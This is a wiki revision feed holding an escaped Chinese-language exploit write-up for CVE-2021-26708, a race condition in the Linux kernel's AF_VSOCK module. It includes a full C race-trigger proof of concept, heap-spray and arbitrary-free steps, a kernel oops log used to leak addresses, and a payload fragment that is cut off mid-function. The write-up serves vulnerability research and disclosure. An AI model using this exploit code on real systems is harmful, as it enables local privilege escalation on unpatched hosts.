<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Far</id>
	<title>CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/ar - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Far"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/ar&amp;action=history"/>
	<updated>2026-04-09T04:49:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/ar&amp;diff=2680&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;CVE-2021-26708 Linux kernel قبل 5.10.13 ارتفاع ثغرة الامتياز&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/ar&amp;diff=2680&amp;oldid=prev"/>
		<updated>2021-05-06T04:58:57Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;CVE-2021-26708 Linux kernel قبل 5.10.13 ارتفاع ثغرة الامتياز&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
== الضعف ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這些漏洞是由&amp;lt;code&amp;gt;net/vmw_vsock/af_vsock.c&amp;lt;/code&amp;gt;中的錯誤鎖定引起的條件競爭。這些條件競爭是在2019年11月添加VSOCK多傳輸支持的提交中隱式引入的，並被合併到Linux內核5.5-rc1版本中。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;CONFIG_VSOCKETS&amp;lt;/code&amp;gt;和&amp;lt;code&amp;gt;CONFIG_VIRTIO_VSOCKETS&amp;lt;/code&amp;gt;在所有主要的GNU/Linux發行版中都作為內核模塊提供。當你為AF_VSOCK域創建一個套接字時，這些易受攻擊的模塊會自動加載。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;AF_VSOCK&amp;lt;/code&amp;gt;套接字的創建對非特權用戶來說是可用的，並不需要用戶名空間。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==內存破壞==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
下面詳細介紹CVE-2021-26708的利用，利用了&amp;lt;code&amp;gt;vsock_stream_etssockopt()&amp;lt;/code&amp;gt;中的條件競爭，復現需要兩個線程，第一個線程調用&amp;lt;code&amp;gt;setsockopt()&amp;lt;/code&amp;gt;：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,&lt;br /&gt;
                &amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
第二個線程在&amp;lt;code&amp;gt;vsock_stream_etssockopt()&amp;lt;/code&amp;gt;試圖獲取套接字鎖時改變虛擬套接字傳輸，通過重新連接虛擬套接字實現：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct sockaddr_vm addr = {&lt;br /&gt;
        .svm_family = AF_VSOCK,&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    addr.svm_cid = VMADDR_CID_LOCAL;&lt;br /&gt;
    connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
    addr.svm_cid = VMADDR_CID_HYPERVISOR;&lt;br /&gt;
    connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
為了處理虛擬套接字的&amp;lt;code&amp;gt;connect()&amp;lt;/code&amp;gt;，內核執行調用&amp;lt;code&amp;gt;vsock_assign_transport()&amp;lt;/code&amp;gt;的&amp;lt;code&amp;gt;vsock_stream_connect()&amp;lt;/code&amp;gt;。這個函數包含如下代碼：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     if (vsk-&amp;gt;transport) {&lt;br /&gt;
            if (vsk-&amp;gt;transport == new_transport)&lt;br /&gt;
                return 0;&lt;br /&gt;
&lt;br /&gt;
            /* transport-&amp;gt;release() must be called with sock lock acquired.&lt;br /&gt;
             * This path can only be taken during vsock_stream_connect(),&lt;br /&gt;
             * where we have already held the sock lock.&lt;br /&gt;
             * In the other cases, this function is called on a new socket&lt;br /&gt;
             * which is not assigned to any transport.&lt;br /&gt;
             */&lt;br /&gt;
            vsk-&amp;gt;transport-&amp;gt;release(vsk);&lt;br /&gt;
            vsock_deassign_transport(vsk);&lt;br /&gt;
        }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;vsock_stream_connect()&amp;lt;/code&amp;gt;包含套接字鎖，並行線程中的&amp;lt;code&amp;gt;vsock_stream_setsockopt()&amp;lt;/code&amp;gt;也嘗試獲取它，構成條件競爭。因此，當用不同的&amp;lt;code&amp;gt;svm_cid&amp;lt;/code&amp;gt;進行第二次&amp;lt;code&amp;gt;connect()&amp;lt;/code&amp;gt;時，&amp;lt;code&amp;gt;vsock_deassign_transport()&amp;lt;/code&amp;gt;函數被調用。該函數執行&amp;lt;code&amp;gt;virtio_transport_destruct()&amp;lt;/code&amp;gt;，釋放&amp;lt;code&amp;gt;vsock_sock.trans&amp;lt;/code&amp;gt;，&amp;lt;code&amp;gt;vsk-&amp;gt;transport&amp;lt;/code&amp;gt;被設置為NULL。當&amp;lt;code&amp;gt;vsock_stream_connect()&amp;lt;/code&amp;gt;釋放套接字鎖時，&amp;lt;code&amp;gt;vsock_stream_setsockopt()&amp;lt;/code&amp;gt;可以繼續執行。它調用&amp;lt;code&amp;gt;vsock_update_buffer_size()&amp;lt;/code&amp;gt;，隨後調用&amp;lt;code&amp;gt;transport-&amp;gt;notify_buffer_size()&amp;lt;/code&amp;gt;。這裡transport包含一個來自本地變量的過時的值，與&amp;lt;code&amp;gt;vsk-&amp;gt;transport&amp;lt;/code&amp;gt;不匹配(本因被設為NULL)。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
內核執行&amp;lt;code&amp;gt;virtio_transport_notify_buffer_size()&amp;lt;/code&amp;gt;，出現內存破壞：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)&lt;br /&gt;
{&lt;br /&gt;
    struct virtio_vsock_sock *vvs = vsk-&amp;gt;trans;&lt;br /&gt;
&lt;br /&gt;
    if (*val &amp;gt; VIRTIO_VSOCK_MAX_BUF_SIZE)&lt;br /&gt;
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;&lt;br /&gt;
&lt;br /&gt;
    vvs-&amp;gt;buf_alloc = *val;&lt;br /&gt;
&lt;br /&gt;
    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這裡，vvs是指向內核內存的指針，它已經在&amp;lt;code&amp;gt;virtio_transport_destruct()&amp;lt;/code&amp;gt;中被釋放。 &amp;lt;code&amp;gt;struct virtio_vsock_sock&amp;lt;/code&amp;gt;的大小為64字節，位於kmalloc-64塊緩存中。 buf_alloc字段類型為u32，位於偏移量40。 &amp;lt;code&amp;gt;VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL&amp;lt;/code&amp;gt;。 *val的值由攻擊者控制，它的四個最不重要的字節被寫入釋放的內存中。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==模糊測試==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
syzkaller fuzzer沒有辦法重現這個崩潰，於是我決定自行研究。但為什麼fuzzer會失敗呢？觀察&amp;lt;code&amp;gt;vsock_update_buffer_size()&amp;lt;/code&amp;gt;有所發現：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 if (val != vsk-&amp;gt;buffer_size &amp;amp;&amp;amp;&lt;br /&gt;
      transport &amp;amp;&amp;amp; transport-&amp;gt;notify_buffer_size)&lt;br /&gt;
        transport-&amp;gt;notify_buffer_size(vsk, &amp;amp;val);&lt;br /&gt;
&lt;br /&gt;
    vsk-&amp;gt;buffer_size = val;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
只有當val與當前的buffer_size不同時，才會調用&amp;lt;code&amp;gt;notify_buffer_size()&amp;lt;/code&amp;gt;，也就是說&amp;lt;code&amp;gt;setsockopt()&amp;lt;/code&amp;gt;執行&amp;lt;code&amp;gt;SO_VM_SOCKETS_BUFFER_SIZE&amp;lt;/code&amp;gt;時，每次調用的size參數都應該不同。於是我構建了相關代碼:&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * AF_VSOCK vulnerability trigger.&lt;br /&gt;
 * It's a PoC just for fun.&lt;br /&gt;
 * Author: Alexander Popov &amp;lt;alex.popov@linux.com&amp;gt;.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;pthread.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/vm_sockets.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)&lt;br /&gt;
&lt;br /&gt;
#define MAX_RACE_LAG_USEC 50&lt;br /&gt;
&lt;br /&gt;
int vsock = -1;&lt;br /&gt;
int tfail = 0;&lt;br /&gt;
pthread_barrier_t barrier;&lt;br /&gt;
&lt;br /&gt;
int thread_sync(long lag_nsec)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	struct timespec ts0;&lt;br /&gt;
	struct timespec ts;&lt;br /&gt;
	long delta_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
	ret = pthread_barrier_wait(&amp;amp;barrier);&lt;br /&gt;
	if (ret != 0 &amp;amp;&amp;amp; ret != PTHREAD_BARRIER_SERIAL_THREAD) {&lt;br /&gt;
		perror(&amp;quot;[-] pthread_barrier_wait&amp;quot;);&lt;br /&gt;
		return EXIT_FAILURE;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	ret = clock_gettime(CLOCK_MONOTONIC, &amp;amp;ts0);&lt;br /&gt;
	if (ret != 0) {&lt;br /&gt;
		perror(&amp;quot;[-] clock_gettime&amp;quot;);&lt;br /&gt;
		return EXIT_FAILURE;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	while (delta_nsec &amp;lt; lag_nsec) {&lt;br /&gt;
		ret = clock_gettime(CLOCK_MONOTONIC, &amp;amp;ts);&lt;br /&gt;
		if (ret != 0) {&lt;br /&gt;
			perror(&amp;quot;[-] clock_gettime&amp;quot;);&lt;br /&gt;
			return EXIT_FAILURE;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +&lt;br /&gt;
						ts.tv_nsec - ts0.tv_nsec;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return EXIT_SUCCESS;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *th_connect(void *arg)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	long lag_nsec = *((long *)arg) * 1000;&lt;br /&gt;
	struct sockaddr_vm addr = {&lt;br /&gt;
		.svm_family = AF_VSOCK,&lt;br /&gt;
	};&lt;br /&gt;
&lt;br /&gt;
	ret = thread_sync(lag_nsec);&lt;br /&gt;
	if (ret != EXIT_SUCCESS) {&lt;br /&gt;
		tfail++;&lt;br /&gt;
		return NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	addr.svm_cid = VMADDR_CID_LOCAL;&lt;br /&gt;
	connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
	addr.svm_cid = VMADDR_CID_HYPERVISOR;&lt;br /&gt;
	connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
	return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *th_setsockopt(void *arg)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	long lag_nsec = *((long *)arg) * 1000;&lt;br /&gt;
	struct timespec tp;&lt;br /&gt;
	unsigned long size = 0;&lt;br /&gt;
&lt;br /&gt;
	ret = thread_sync(lag_nsec);&lt;br /&gt;
	if (ret != EXIT_SUCCESS) {&lt;br /&gt;
		tfail++;&lt;br /&gt;
		return NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	clock_gettime(CLOCK_MONOTONIC, &amp;amp;tp);&lt;br /&gt;
	size = tp.tv_nsec;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
	return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	unsigned long size = 0;&lt;br /&gt;
	long loop = 0;&lt;br /&gt;
	pthread_t th[2] = { 0 };&lt;br /&gt;
&lt;br /&gt;
	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);&lt;br /&gt;
	if (vsock == -1)&lt;br /&gt;
		err_exit(&amp;quot;[-] open vsock&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] AF_VSOCK socket is opened\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	size = 1;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
	size = 0xfffffffffffffffdlu;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
	ret = pthread_barrier_init(&amp;amp;barrier, NULL, 2);&lt;br /&gt;
	if (ret != 0)&lt;br /&gt;
		err_exit(&amp;quot;[-] pthread_barrier_init&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	for (loop = 0; loop &amp;lt; 30000; loop++) {&lt;br /&gt;
		long tmo1 = 0;&lt;br /&gt;
		long tmo2 = loop % MAX_RACE_LAG_USEC;&lt;br /&gt;
&lt;br /&gt;
		printf(&amp;quot;race loop %ld: tmo1 %ld, tmo2 %ld\n&amp;quot;, loop, tmo1, tmo2);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_create(&amp;amp;th[0], NULL, th_connect, &amp;amp;tmo1);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_create #0&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_create(&amp;amp;th[1], NULL, th_setsockopt, &amp;amp;tmo2);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_create #1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_join(th[0], NULL);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_join #0&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_join(th[1], NULL);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_join #1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		if (tfail) {&lt;br /&gt;
			printf(&amp;quot;[-] some thread got troubles\n&amp;quot;);&lt;br /&gt;
			exit(EXIT_FAILURE);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	ret = close(vsock);&lt;br /&gt;
	if (ret)&lt;br /&gt;
		perror(&amp;quot;[-] close&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] now see your warnings in the kernel log\n&amp;quot;);&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這裡的size值取自&amp;lt;code&amp;gt;clock_gettime()&amp;lt;/code&amp;gt;返回的納秒數，每次都可能不同。原始的syzkaller不會這麼處理，因為在syzkaller生成 fuzzing輸入時，syscall參數的值被確定，執行時不會改變。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==四字節的力量==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這裡我選擇Fedora 33 Server作為研究目標，內核版本為5.10.11-200.fc33.x86_64，並決心繞過SMEP和SMAP。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
第一步，我開始研究穩定的堆噴射，該漏洞利用執行用戶空間的活動，使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後，確認釋放的virtio_vsock_sock被覆蓋，說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg，見pahole輸出：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct msg_msg {&lt;br /&gt;
    struct list_head           m_list;               /*     0    16 */&lt;br /&gt;
    long int                   m_type;               /*    16     8 */&lt;br /&gt;
    size_t                     m_ts;                 /*    24     8 */&lt;br /&gt;
    struct msg_msgseg *        next;                 /*    32     8 */&lt;br /&gt;
    void *                     security;             /*    40     8 */&lt;br /&gt;
&lt;br /&gt;
    /* size: 48, cachelines: 1, members: 5 */&lt;br /&gt;
    /* last cacheline: 48 bytes */&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
前面是消息頭，後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext，則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據，當收到 msg_msg時，就會被security_msg_msg_free()釋放。因此，破壞security指針的前半部分，就能獲得 arbitrary free。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==內核信息洩露==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用&amp;lt;code&amp;gt;vsock_deassign_transport()&amp;lt;/code&amp;gt;，將&amp;lt;code&amp;gt;vsk-&amp;gt;transport&amp;lt;/code&amp;gt;設置為NULL，使得&amp;lt;code&amp;gt;vsock_stream_setsockopt()&amp;lt;/code&amp;gt;在內存崩潰後調用&amp;lt;code&amp;gt;virtio_transport_send_pkt_info()&amp;lt;/code&amp;gt;，出現內核告警：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34&lt;br /&gt;
...&lt;br /&gt;
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1&lt;br /&gt;
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014&lt;br /&gt;
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]&lt;br /&gt;
...&lt;br /&gt;
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246&lt;br /&gt;
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80&lt;br /&gt;
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0&lt;br /&gt;
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000&lt;br /&gt;
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008&lt;br /&gt;
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0&lt;br /&gt;
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000&lt;br /&gt;
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033&lt;br /&gt;
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0&lt;br /&gt;
Call Trace:&lt;br /&gt;
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]&lt;br /&gt;
  vsock_update_buffer_size+0x5f/0x70 [vsock]&lt;br /&gt;
  vsock_stream_setsockopt+0x128/0x270 [vsock]&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
通過gdb調試，發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址，RBX寄存器包含了vsock_sock的內核地址。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==實現任意讀==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
===從 arbitrary free 到 use-after-free===&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
從洩露的內核地址釋放一個對象&lt;br /&gt;
執行堆噴，用受控數據覆蓋該對象&lt;br /&gt;
使用損壞的對象進行權限升級&lt;br /&gt;
內核實現的System V消息有限制最大值DATALEN_MSG，即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息，剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段，size_t m_ts用於存儲大小。當進行覆蓋操作時，就可以把受控的值放在msg_msg.m_ts和msg_msg.next中：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:T01a51dfe7a996e854c.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Payload:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
    #define PAYLOAD_SZ 40 &lt;br /&gt;
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)&lt;br /&gt;
    {&lt;br /&gt;
        struct msg_msg *msg_ptr;&lt;br /&gt;
&lt;br /&gt;
        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;&lt;br /&gt;
&lt;br /&gt;
        /* Don't touch the second part to avoid breaking page fault delivery */&lt;br /&gt;
        memset(spray_data, 0xa5, PAGE_SIZE * 4);&lt;br /&gt;
&lt;br /&gt;
        printf(&amp;quot;[+] adapt the msg_msg spraying payload:\n&amp;quot;);&lt;br /&gt;
        msg_ptr = (struct msg_msg *)xattr_addr;&lt;br /&gt;
